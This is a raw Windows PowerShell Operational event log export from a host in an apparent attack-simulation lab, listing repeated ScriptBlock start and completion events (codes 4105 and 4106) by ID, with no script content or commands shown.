SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040996
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040995
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040990
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040989
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040967
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040966
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040965
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040964
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
